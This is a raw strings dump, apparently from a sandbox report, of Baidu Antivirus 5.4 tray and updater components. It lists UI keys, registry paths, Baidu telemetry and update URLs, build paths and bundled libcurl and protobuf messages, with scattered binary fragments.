hXXp://antivirus.baidu.com

aboutus.link

font.default

Common_About_Website

aboutus.link.web

validate.rgn

aboutus.link.pri

[About] Failed to Open home url, shell err:%d

iexplore.exe

[About] Failed to Open privacy url, shell err:%d

btn.close

aboutus.ok

aboutus.version

aboutus.virus

SecurityCode.dll

Plugins\Plugin_Pop_Hips\Plugin_Pop_Hips.dll

Plugins\Plugin_Pop_OA\Plugin_Pop_OA.dll

Plugins\Plugin_Pop_Download\Plugin_Pop_Download.dll

Plugins\Plugin_USBProtect\Plugin_USBProtect.dll

Plugins\Plugin_Adp\Plugin_HipsAdp.dll

webenable

BavTray.tooltips.selfprotection

[TrayIcon] Create TrayIcon: %d

BavTray.unprotected

BavTray.protecting

BavTray.tooltips.sysprodisable

BavTray.tooltips.DoNotDisturb

\IEProtect.exe

BAV_OPEN_UNKNOWN_FILE_MSG_MAKER

BavOpenUnknownFile.exe

%s|%d /DownloadAppId=%s /LaunchAppStore=BAV_UNKNOWNFILE

IEProtect.exe

[TrayWnd] OnHandleUIMsgS wParam:%x (%d,%d)

[TrayWnd] on Download Protect %ws, %d

BavTray.tooltips.QuickScan

BavTray.tooltips.FullScan

BavTray.tooltips.CustomScan

BavTray.tooltips.RightScan

BavTray.tooltips.ScheduleScan

BavTray.tooltips.ScheduleScan.ScanSafe

BavTray.tooltips.DoNotDisturbOff

Got Tray icon num:%d

[TrayWnd] Send updateversion msg to UI

\PCAppStore_Setup_bav.exe

[TrayWnd] PathFileExists %s not exist

\bavadvtools\6BA17A92-4345-49c0-A228-A57C2E779055\tool\FileShredder.exe

8A73A249-C3BE-401A-8335-A832080931D3

BavPluginRemove.exe

[TrayWnd] CMD_Tray_Start_From_Investigate_PluginRemove Call PluginRemove Path=%s

\bavadvtools\7B49036D-8FC2-4AA8-89A5-0B8B0519E8EE\tool\BavSandbox.exe

Software\Microsoft\Windows\CurrentVersion\Uninstall\Baidu Antivirus\reboot

%d\%d\

[TrayWnd] Audio(%d) will be played

BD_7.mp3

BD_8.mp3

BD_9.mp3

BD_10.mp3

[TrayWnd] verify password failed.

BavTray.menu.Feedback.link

[TrayWnd] Failed to open feedback url

BavTray.tooltips.SelfProtectionOn

is_str_has_baidu_pc_faster_: We found the pcf sub key(%s).

is_pcf_image_exist_: The PCFaster Svc image key is %s.

is_pcf_image_exist_: We found the PCFasterSvc.exe(%s).

\log\BavSysClient.bskin

PopMsg::

log\BavRss.xml

log\BavRss.bskin

IconUrl

/bav/getmsg

hXXp://popup.security.baidu.co.th

popmsg.xml

rssmsg.xml

ver=%s&langid=%d&os=%s&id=%s&itime=%s&lifetime=%s&channel=%s&pcfinstalled=%d&sparkinstalled=%d

Software\Microsoft\Windows\CurrentVersion\Uninstall\Baidu Antivirus

application/x-www-form-urlencoded

HTTPS://

HTTP://

::WriteFile failed ("%s").

::GetFileSize failed ("%s").

OpenFile (::CreateFile) failed ("%s").

::HttpEndRequest failed.

::HttpSendRequestEx failed.

::HttpSendRequest failed.

::HttpAddRequestHeaders failed.

::HttpOpenRequest failed.

::HttpQueryInfo failed.

The file (%s) aleady exists.

The encoded URL is not valid.

The port number is not valid.

The requested URL is not a valid URL.

HTTP/1.1

CHttpToolW::SendRequestEx: hRequest can not be NULL.

CHttpEncoderW::AnsiEncodeLen: CP_UTF8 and CP_UTF7 can not be used for the CodePage parameter.

CHttpEncoderW::AnsiEncode: CP_UTF8 and CP_UTF7 can not be used for the CodePage parameter.

CHttpEncoderW::AnsiEncode: szBuff can not be NULL.

CHttpEncoderW::AnsiDecodeLen: CP_UTF8 and CP_UTF7 can not be used for the CodePage parameter.

CHttpEncoderW::AnsiDecode: CP_UTF8 and CP_UTF7 can not be used for the CodePage parameter.

CHttpEncoderW::AnsiDecode: szBuff can not be NULL.

CHttpEncoderW::Utf8Encode: szBuff can not be NULL.

CHttpEncoderW::Utf8Decode: szBuff can not be NULL.

CHttpEncoderW::UrlEncodeA: szBuff can not be NULL.

CHttpEncoderW::UrlEncodeW: szBuff can not be NULL.

CHttpEncoderW::_Utf8CharToAnsiChar: szAnsiChar and szUtf8Char can not be NULL.

CHttpEncoderW::UrlDecodeA: szBuff can not be NULL.

CHttpEncoderW::UrlDecodeW: szBuff can not be NULL.

CHttpClientMapT::Remove: szName can not be NULL.

CHttpClientMapT::RemoveAll: szName can not be NULL.

CHttpClientMapT::Exists: szName can not be NULL.

CHttpClientMapT::Get: szName can not be NULL.

CHttpClientMapT::AddPointerDirectly: szName can not be NULL.

CHttpClientMapT::Add: szName can not be NULL.

CHttpClientMapT::Set: szName can not be NULL.

CHttpResponseT::GetHeaderCount: szName can not be NULL.

CHttpResponseT::GetHeader: szName can not be NULL.

CHttpResponseT::GetStatus: m_hRequest can not be NULL.

CHttpResponseT::GetStatusText: m_hRequest can not be NULL.

CHttpResponseT::GetContentLength: m_hRequest can not be NULL.

CHttpResponseT::ReadContent: m_hRequest can not be NULL.

CHttpResponseT::ReadContent: pbyBuff can not be NULL.

CHttpResponseT::ReadContent: cbBuff can not be zero.

CHttpResponseT::SaveContent: szFilePath can not be NULL.

CHttpResponseT::_LoadHeader: m_hRequest can not be NULL.

CHttpResponseT::_LoadHeader: szName can not be NULL.

CHttpPostStatT::ActualTotalByte: The post context is not active.

CHttpPostStatT::ActualPostedByte: The post context is not active.

CHttpPostStatT::TotalByte: The post context is not active.

CHttpPostStatT::PostedByte: The post context is not active.

CHttpPostStatT::TotalCount: The post context is not active.

CHttpPostStatT::PostedCount: The post context is not active.

CHttpPostStatT::FileCount: The post context is not active.

CHttpPostStatT::PostedFileCount: The post context is not active.

CHttpPostStatT::CurrParam: The post context is not active.

CHttpPostStatT::CurrFile: The post context is not active.

CHttpPostStatT::CurrParamTotalByte: The post context is not active.

CHttpPostStatT::CurrParamPostedByte: The post context is not active.

CHttpPostStatT::CurrParamRemainByte: The post context is not active.

CHttpPostStatT::CurrParamIsFile: The post context is not active.

CHttpPostStatT::CurrParamIsComplete: The post context is not active.

CHttpPostStatT::_TestAddActualPostedBytes: The post context is not active.

CHttpPostStatT::_TestStartNewEntry: The post context is not active.

CHttpPostStatT::_TestAddPostedBytes: The post context is not active.

CHttpUrlAnalyzerT::Analyze: CP_UTF8 and CP_UTF7 can not be used for the CodePage parameter.

CHttpClientT::SetUseUtf8: It is not allowed to call this method if the POST context is active.

CHttpClientT::SetAnsiCodePage: It is not allowed to call this method if the POST context is active.

CHttpClientT::SetAnsiCodePage: CP_UTF8 and CP_UTF7 can not be used for the nAnsiCodePage parameter.

CHttpClientT::AddHeader: szName can not be NULL.

CHttpClientT::AddHeader: szName can not be an empty string.

CHttpClientT::AddHeader: szValue can not be NULL.

CHttpClientT::AddHeader: szValue can not be an empty string.

CHttpClientT::SetHeader: szName can not be NULL.

CHttpClientT::SetHeader: szName can not be an empty string.

CHttpClientT::SetHeader: szValue can not be NULL.

CHttpClientT::SetHeader: szValue can not be an empty string.

CHttpClientT::ClearParam: It is not allowed to call this method if the POST context is active.

CHttpClientT::RemoveParam: It is not allowed to call this method if the POST context is active.

CHttpClientT::RemoveAllParam: It is not allowed to call this method if the POST context is active.

CHttpClientT::AddParam: It is not allowed to call this method if the POST context is active.

CHttpClientT::SetParam: It is not allowed to call this method if the POST context is active.

CHttpClientT::MakeGetUrl: szBuff can not be NULL.

CHttpClientT::OpenConnection: hInternet can not be NULL.

CHttpClientT::SetProxyAccount: szUserName can not be NULL.

CHttpClientT::SetProxyAccount: szUserName can not be an empty string.

CHttpClientT::SetProxyAccount: szPassword can not be NULL.

CHttpClientT::SetProxyAccount: szPassword can not be an empty string.

CHttpClientT::ApplyProxyAccount: hConnection can not be NULL.

CHttpClientT::OpenRequest: hConnection can not be NULL.

CHttpClientT::AddRequestHeader: hRequest can not be NULL.

CHttpClientT::_WritePost: m_hRequest can not be NULL.

CHttpClientT::_ProceedPostContext: m_hInternet can not be NULL.

CHttpClientT::_ProceedPostContext: m_hConnection can not be NULL.

CHttpClientT::_ProceedPostContext: m_hRequest can not be NULL.

CHttpClientT::_ProceedPostContext: nDesired can not be zero.

CHttpClientT::_ProceedUploadContext: m_hInternet can not be NULL.

CHttpClientT::_ProceedUploadContext: m_hConnection can not be NULL.

CHttpClientT::_ProceedUploadContext: m_hRequest can not be NULL.

CHttpClientT::_ProceedUploadContext: nDesired can not be zero.

CHttpClientT::_ReleasePostResponse: The post context is not active.

_UrlEncodeLen: szStr can not be NULL.

\StringFileInfo\xx\%s

DirectUI.dll

hXXp://dl2.bav.baidu.com

urlsmall

urlskin

[DlgChangeSkin] Found the same lange id: %d and it will be ignored.

.bskin

hXXp://dl2.bav.baidu.com/SkinRules.xml

checkurl

parse srv skin list:nRet:%d srv list is %d.

pdynamicskin\list.xml

parse current skin list:nRet:%d.

defensereport

ReportConfigTime

DoConfigReport

[ConfigReporter] _endthreadex was not called in m_ConfigReportThread

[ConfigReporter] DoConfigReport dwType=%d

%s|%s|%s|%s|%s|

%d=%d|

%d=%s|

DoConfigReportInProgess

D\log\perf_crash_cfg_temp.dat

hXXp://f.bav.baidu.com

CloudQueryURL

/cloud-hips-down.cgi/static/COLLAPSE_

\log\perf_crash_cfg.dat

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Baidu Antivirus

SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Baidu Antivirus

log.dll

xGlobal\%s_perf_file_map

%s%d bytes to %d wide chars

%d wide chars to %s%d bytes

No start tag for end tag '%s' at offset %d

End tag '%s' at offset %d does not match start tag '%s' at offset %d

Element '%s' at offset %d not ended

%s at offset %d unterminated

Incorrect %s at offset %d

IEngineReport

PCFaster.exe

5,4,3,147185

win %u.%u.%u

.BAVBAK

report_from

Communication.dll

hXXps://sync.bav.baidu.com

SyncURL

%s/cgi-bin-py/statistic_msg.cgi?type=%s&guid=%s&ver=%s

%s/cgi-bin-py/get_bav_statistic_info.cgi

hXXp://up.bav.baidu.com

UploadServerURL

%s/cgi-bin/statistic_cloud_hits.cgi?guid=%s&type=%s&ver=%s

%s=%s

[d-d-d d:d:d]

hXXp://sync.bav.baidu.com

SyncHttp

SYSTEM\CurrentControlSet\Services\PSafe WEB

\Baidu\Antivirus\uurm.dat

UUReportFailDays

UUReportOKDays

UUReportLastFailDate

UUReportLastOKDate

UUReportOKLastVersion

FirstUUReportID

FirstUUReportTime

%s/cgi-bin/report_uu_msg_bavv2.cgi

%s\InstRptBls.dat

ReportComm.dll

%s\%d

/up.cgi

BLSUUReportLastOKTime

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\BavSvc

\Baidu\Antivirus\inst.dat

UTSInstallReportTime

%s/cgi-bin/adware_hit.cgi?g=%s&v=%s

%d.%d.%d.%d

G\\.\SysPrj

BavOa.dll

%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0

5.4.3.147185

%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Dump

%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavTray.exe

5.1.2600.5512 (xpsp.080413-211

PennyBeeW.exe_404_rwx_675A6000_00003000:

.Qg<-Qg

*Rg`.Rg|)RgL Rg

BavUpdater.exe_3072:

.text

`.rdata

@.data

.rsrc

SSShpoi

FtPQ

:>t.FOCB

UU U!"UU#$UUUU%&'UUU(U)*U UUU,-.UU/0123UUUUUU4UUUUUUU5UUUUUU6789:;UUUUUUUU<UUU=>?@ABCDUUUUEUUUUFUUUUUUGUUHIUUUUUJKUUULMUUNUUUUUUUUUOUUPUQRST

!"FFF#F$Fÿ&F'()FFFFFFFFFFFFF*FFFFFFFFFFFF FF,-FFFFFFFFFFF.F/FFFFFFFFFFFFFF01FF234FF56789FFFFFFFF:;FF<=>FF?FFFFF@ABFFFFFCFDFFFFFEG

t.Fj:V

t.Whd

8%u:j

PSSSSSSh

PSSSSh

tcPh@

N@QSSh

V@RSSh

SSSSh

~.Wj@j@j

SSSh8tf

vSSSh

It.It It!It

FTPjK

FtPj;

C.PjRV

tGHt.Ht&

RSShp

RSShd

RSShL

QSShL

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btpublic\PublicExe\BavUpdater\BavUpdater.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btpublic\PublicExe\BavUpdater\MainFrm.cpp

7438FEF7-71A6-4116-83C0-94C23BF3E228

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btpublic\PublicExe\BavUpdater\BavUpdateMan.cpp

f:\newns.jenkins.slave\workspace\bav_5.4_workspace\btpublic\publicexe\bavupdater\AviraUpdateMain.h

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btpublic\PublicExe\BavUpdater\ConfigMan.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btpublic\PublicExe\BavUpdater\UpdateAgent.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btpublic\PublicExe\BavUpdater\AviraUpdateMain.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btpublic\PublicExe\BavUpdater\AviraUpdater.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btpublic\PublicExe\BavUpdater\BubbleCriticalRestartFrm.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btpublic\PublicExe\BavUpdater\BubbleFrm.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btpublic\PublicExe\BavUpdater\PcfPopulariseBubbleFrm.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btpublic\PublicExe\BavUpdater\ReinstallWarningFrm.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btpublic\PublicExe\BavUpdater\BavToolsUpdateFrm.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btpublic\PublicExe\BavUpdater\BavToolsUpdateMain.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btpublic\Include\update\BavToolsUpdate.h

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btpublic\PublicExe\BavUpdater\report_113_item.pb.cc

report.Report113Item

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btpublic\PublicExe\BavUpdater\ReportItem\report_79_item.pb.cc

report.Report79Item

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btpublic\PublicExe\BavUpdater\ReportItem\report_99_item.pb.cc

report.Report99Item

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btpublic\PublicExe\BavUpdater\ReportItem\UpdateDataReport.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btpublic\PublicDll\Operation\operation.pb.cc

OperationPB.OperationPublic

OperationPB.OperationRequest

OperationPB.OperationBody

OperationPB.OperationResultHead

OperationPB.OperationResponse

OperationPB.OperationResultBody

OperationPB.OperationResult

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btpublic\PublicExe\BavUpdater\Popularize\Popularize.cpp

DllGetOperationInstance

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btpublic\PublicExe\BavUpdater\Popularize\Popularize.pb.cc

popularize.PopularizeRequest

popularize.PopularizeResponse

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btpublic\PublicExe\BavUpdater\Popularize\PopularizeEx.pb.cc

popularizeex.NewPopularizeRequest

popularizeex.NewPopularizeResponse

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btpublic\PublicExe\BavUpdater\UpdateTaskManager.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btpublic\PublicExe\BavUpdater\UpdateServerReport.cpp

Product_CloudMgr_Public_Exe

Product_CloudMgr_Exe

Product_AppsRobo_Public_Exe

Product_AppsRobo_Exe

Product_Allinone_Public_Exe

Product_Allinone_Exe

Product_Newspark_Public_Exe

Product_Newspark_Exe

Product_Spark_Public_Exe

Product_Spark_Exe

Product_Ime_Public_Exe

Product_Ime_Exe

Product_AppStore_Public_Exe

Product_AppStore_Exe

Product_Pcf_Public_Exe

Product_Pcf_Exe

Product_Bav_Public_Exe

Product_Bav_Exe

<!--%s-->

&#xX;

</%s>

%s='%s'

%s="%s"

<![CDATA[%s]]>

standalone="%s"

encoding="%s"

version="%s"

%Y/%m/%d %H:%M:%S

%d/%d/%d %d:%d:%d

00:00:00

&&&&6666????

""""****

2222::::

$$$$\\\\

00006666

####====

\\.\PhysicalDrive%d

\\.\Scsi%d:

00000000

'02<&!',

%s$x$x

%s$%x

;3:'84!<:;

-60%!<:;

$x

msvcrt.dll

6666666666666666

kernel32.dll

Please contact the application's support team for more information.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

portuguese-brazilian

operator

GetProcessWindowStation

USER32.DLL

ADVAPI32.DLL

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavbasic\3rdPart\protobuf\protobuf-2.4.1\src\google\protobuf\io\coded_stream.cc

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavbasic\3rdPart\protobuf\protobuf-2.4.1\src\google\protobuf\message_lite.cc

CHECK failed: !coded_out.HadError():

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavbasic\3rdPart\protobuf\protobuf-2.4.1\src\google\protobuf\wire_format_lite.cc

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavbasic\3rdPart\protobuf\protobuf-2.4.1\src\google\protobuf\stubs\common.cc

%d.%d.%d

libprotobuf %s %s:%d] %s

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\bavbasic\3rdPart\protobuf\protobuf-2.4.1\src\google\protobuf\io\zero_copy_stream_impl_lite.cc

CHECK failed: backup_bytes_ == 0 && buffer_.get() != NULL:

unzip 1.01 Copyright 1998-2004 Gilles Vollant - hXXp://VVV.winimage.com/zLibDll

1.2.8

inflate 1.2.8 Copyright 1995-2013 Mark Adler

httpheader

coredll.dll

mscoree.dll

Visual C   CRT: Not enough memory to complete call to strerror.

Broken pipe

Inappropriate I/O control operation

Operation not permitted

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btpublic\PublicLib\ipc\Channel.cpp

.jpeg

.html

0123456789

PORT

xml=hXXp://VVV.w3.org/XML/1998/namespace

f:\newns.jenkins.slave\workspace\bav_5.4_workspace\btpublic\publiclib\ipc\ServerBackground2.h

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btpublic\PublicLib\ipc\ServerBackground2.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btpublic\PublicLib\ipc\ServerAgent2.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btpublic\PublicLib\ipc\ClientBackground2.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btpublic\PublicLib\ipc\ClientAgent2.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btpublic\PublicLib\update\HttpDownloader.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btpublic\PublicLib\update\server\WinHttpCommunication.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btpublic\PublicLib\update\bavua_agent\bavua_agent.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btpublic\PublicLib\update\update_reboot.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btpublic\PublicLib\update\server\server_communication.cpp

thurl

defaulturl

egurl

brurl

cnurl

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btpublic\PublicLib\update\sign_update\update_config.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btpublic\PublicLib\update\xml_analyze\xml_analyze.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btpublic\PublicLib\update\xml_analyze\statistic_xml_analyze.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btpublic\PublicLib\update\local_file.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btpublic\PublicLib\update\sign_update\LocalCommonSignLibCheck.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btpublic\PublicLib\update\sign_update\sign_update_agent.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btpublic\PublicLib\update\sign_update\CommonSignUpdateConfig.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btpublic\Include\UpdatePcfHelper.h

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btpublic\Include\UpdateSparkHelper.h

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btpublic\PublicLib\update\update_impl.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btpublic\PublicLib\update\server\download_agent.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btpublic\PublicLib\update\BavToolsUpdate.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btpublic\PublicLib\update\xml_analyze\xml_update.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btpublic\PublicLib\update\update_modules.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btpublic\PublicLib\update\xml_analyze\server_xml_analyze.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btpublic\PublicLib\update\xml_analyze\version_xml_analyze.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btpublic\Include\update\UpdateCommon.h

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btpublic\PublicLib\update\CompleteProgram\CompleteProgram.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btpublic\Include\update\SelfCheckFile.h

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btpublic\PublicLib\update\sign_update\FeatureLibUpdate.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btpublic\PublicLib\update\sign_update\CommonSignUpdate.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btpublic\PublicLib\update\ModuleUpdate\ModuleUpdate.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btpublic\PublicLib\update\xml_analyze\tools_xml_analyze.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btpublic\PublicLib\update\xml_analyze\tools_xml_update.cpp

F:\newns.jenkins.slave\workspace\bav_5.4_workspace\btpublic\PublicLib\update\sign_update\FeatureLibMergeUpdate.cpp

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\_bavfr

[BAVFR]GetBavFR failed! RegOpenKeyExA failed!

Memory operation in %S, line %d: %s a %d-byte '%s' block (# %ld)

requested feature requires XML_DTD support in Expat

unexpected parser state - please send a bug report

expat_1.95.8

CURLOPT_SSL_VERIFYHOST no longer supports 1 as value!

Closing connection %d

Curl_addHandleToPipeline: length: %d

Found bundle for host %s: %p

Server doesn't support pipelining

Connection %d seems to be dead!

About to connect() to %s%s port %ld (#%ld)

Connected to %s (%s) port %ld (#%ld)

IDN support not present, can't parse Unicode domains

Protocol %s not supported or disabled in libcurl

[^:]:%[^

:]://%[^

<url> malformed

http_proxy

%5[^:@]:%5[^@]

:%5[^@]

[%*45[0123456789abcdefABCDEF:.]%c

;type=%c

%s://%s%s%s:%hu%s%s%s

Port number too large: %lu

Couldn't find host %s in the _netrc file; using defaults

PTF@example.com

Couldn't resolve host '%s'

Couldn't resolve proxy '%s'

%s://%s

Found connection %d, with requests in the pipe (%d)

Re-using existing connection! (#%ld) with host %s

User-Agent: %s

Connection #%ld to host %s left intact

Failed to set SO_KEEPALIVE on fd %d

Failed to set SIO_KEEPALIVE_VALS on fd %d: %d

Couldn't bind to interface '%s'

Local Interface %s is ip %s using address family %i

Name '%s' family %i resolved to '%s' family %i

Couldn't bind to '%s'

getsockname() failed with errno %d: %s

Local port: %hu

Bind to local port %hu failed, trying next

bind failed with errno %d: %s

getpeername() failed with errno %d: %s

ssrem inet_ntop() failed with errno %d: %s

ssloc inet_ntop() failed with errno %d: %s

Failed connect to %s:%ld; %s

Could not set TCP_NODELAY: %s

TCP_NODELAY set

sa_addr inet_ntop() failed with errno %d: %s

Trying %s...

Failed to connect to %s: %s

couldn't connect to %s at %s:%d

Pipe broke: handle 0x%p, url = %s

In state %d with no easy_conn, bail out!

Operation timed out after %ld milliseconds with %lld out of %lld bytes received

Internal error clearing splay node = %d

Internal error removing splay node = %d

%s:%d

%5[^:]:%d:%5s

Resolve %s found illegal!

Added %s:%d:%s to DNS cache

Could not resolve %s: %s

init_resolve_thread() failed for %s; %s

getaddrinfo() failed for %s:%d; %s

Send failure: %s

Recv failure: %s

[%s %s %s]

23[^;

=]=I99[^;

httponly

skipped cookie with illegal dotcount domain: %s

skipped cookie with bad tailmatch domain: %s

#HttpOnly_

%s cookie %s="%s" for domain %s, path %s, expire %lld

%s%s%s

# Netscape HTTP Cookie File

# hXXp://curl.haxx.se/docs/http-cookies.html

# This file was generated by libcurl! Edit at your own risk.

# Fatal libcurl error

WARNING: failed to save cookies in %s

Line %d, Column %d

%s:%s:%s

%s:%.*s

%s:%s

%s:%s:x:%s:%s:%s

%sAuthorization: Digest username="%s", realm="%s", nonce="%s", uri="%s", cnonce="%s", nc=x, qop=%s, response="%s"

%sAuthorization: Digest username="%s", realm="%s", nonce="%s", uri="%s", response="%s"

%s, opaque="%s"

%s, algorithm="%s"

Couldn't open file %s

Can't open %s for writing

Can't get the size of %s

Last-Modified: %s, d %s M d:d:d GMT

LDAP local: LDAP Vendor = %s ; LDAP Version = %d

LDAP local: %s

LDAP local: trying to establish %s connection

LDAP local: Cannot connect to %s:%hu

LDAP local: ldap_simple_bind_s %s

LDAP remote: %s

There are more than %d entries

CLIENT libcurl 7.30.0

MATCH %s %s %s

DEFINE %s %s

--:--:--

%3lld %s %3lld %s %3lld %s %s %s %s %s %s %s

Failed to resolve "%s" for SOCKS4 connect.

SOCKS4%s request granted.

Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected or failed.

Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because SOCKS server cannot connect to identd on the client.

Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because the client program and identd report different user-ids.

Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), Unknown.

User was rejected by the SOCKS5 server (%d %d).

SOCKS5 GSSAPI per-message authentication is not supported.

No authentication method was acceptable. (It is quite likely that the SOCKS5 server wanted a username/password, since none was supplied to the server on this connection.)

Failed to resolve "%s" for SOCKS5 connect.

Can't complete SOCKS5 connection to %d.%d.%d.%d:%d. (%d)

Can't complete SOCKS5 connection to %s:%d. (%d)

Can't complete SOCKS5 connection to xx:xx:xx:xx:xx:xx:xx:xx:%d. (%d)

Refusing to issue an RTSP request [%s] without a session ID.

Transport:

Transport: %s

Refusing to issue an RTSP SETUP without a Transport: header.

Accept-Encoding: %s

Referer: %s

Range: %s

%s %s RTSP/1.0

Session: %s

%s%s%s%s%s%s

Unable to read the CSeq header: [%s]

Got RTSP Session ID Line [%s], but wanted ID [%s]

TFTP

set timeouts for state %d; Total %ld, retry %d maxtry %d

got option=(%s) value=(%s)

blksize is larger than max supported

%s (%d)

blksize is smaller than min supported

%s (%ld)

%s (%d) %s (%d)

invalid tsize -:%s:- value in OACK packet

%s%c%s%c

tftp_send_first: internal error

Received last DATA packet block %d again.

Received unexpected DATA packet block %d, expecting block %d

Timeout waiting for block %d ACK. Retries = %d

tftp_rx: internal error

Received ACK for block %d, expecting %d

tftp_tx: giving up waiting for block %d ack

tftp_tx: internal error, event: %i

TFTP finished

bind() failed; %s

TFTP response timeout

LOGIN

USER %s

APOP %s %s

AUTH %s

No known authentication mechanisms supported!

STLS not supported.

STARTTLS denied. %c

Access denied. %c

Access denied: %d

Authentication failed: %d

PASS %s

%s %s

POP3S not supported!

login

password

%cd

LOGIN %s %s

AUTHENTICATE %s %s

AUTHENTICATE %s

LIST "%s" *

SELECT %s

FETCH %s BODY[%s]

APPEND %s (\Seen) {%lld}

LOGINDISABLED

STARTTLS not supported.

IMAPS not supported!

Conn: %d (%p) Receive pipe weight: (%d/%d), penalized: %d

Adding handle: send: %d

Adding handle: recv: %d

Site %s:%d is pipeline blacklisted

Server %s is blacklisted

Server %s is not blacklisted

- Conn %d (%p) send_pipe: %d, recv_pipe: %d

%%X

Preparing for accepting server on data port

FTP response timeout

FTP response aborted due to select/poll error: %d

CWD %s

getsockname() failed: %s

failed to resolve the address provided to PORT: %s

socket failure: %s

bind(port=%hu) on non-local address failed: %s

bind(port=%hu) failed: %s

bind() failed, we ran out of ports!

%s |%d|%s|%hu|

Failure sending EPRT command: %s

,%d,%d

Failure sending PORT command: %s

Connect data stream passively

PRET %s

PRET STOR %s

PRET RETR %s

REST %d

SIZE %s

MDTM %s

APPE %s

STOR %s

%c%c%c%u%c

Illegal port number in EPSV reply

%d,%d,%d,%d,%d,%d

Skips %d.%d.%d.%d for data connection, uses %s instead

%d.%d.%d.%d

Bad PASV/EPSV response: d

Can't resolve proxy host %s:%hu

Can't resolve new host %s:%hu

Failed to do PORT

dddddd

ddd d:d:d GMT

unsupported MDTM reply format

Got a d response code instead of the assumed 200

ftp server doesn't support SIZE

RETR %s

Failed FTP upload:

RETR response: d

PBSZ %d

ACCT %s

Access denied: d

ACCT rejected by server: d

Got a d ftp-server response when 220 was expected

unsupported parameter to CURLOPT_FTPSSLAUTH: %d

PROT %c

Entry path is '%s'

QUOT command failed with d

MKD %s

Failed to MKD dir: d

PRET command not accepted: d

Remembering we are in dir "%s"

Failure sending ABOR command: %s

server did not report OK, got %d

QUOT string not accepted: %s

TYPE %c

Connecting to %s (%s) port %d

Wildcard - START of "%s"

Wildcard - "%s" skipped by user

Failure sending QUIT command: %s

Uploading to a URL without a file name!

FTPS not supported!

operation aborted by callback

seek callback returned error %d

the ioctl callback returned %d

ioctl callback returned error %d

Rewinding stream by : %zd bytes on url %s (zero-length body)

Excess found in a non pipelined read: excess = %zd url = %s (zero-length body)

HTTP server doesn't seem to support byte ranges. Cannot resume.

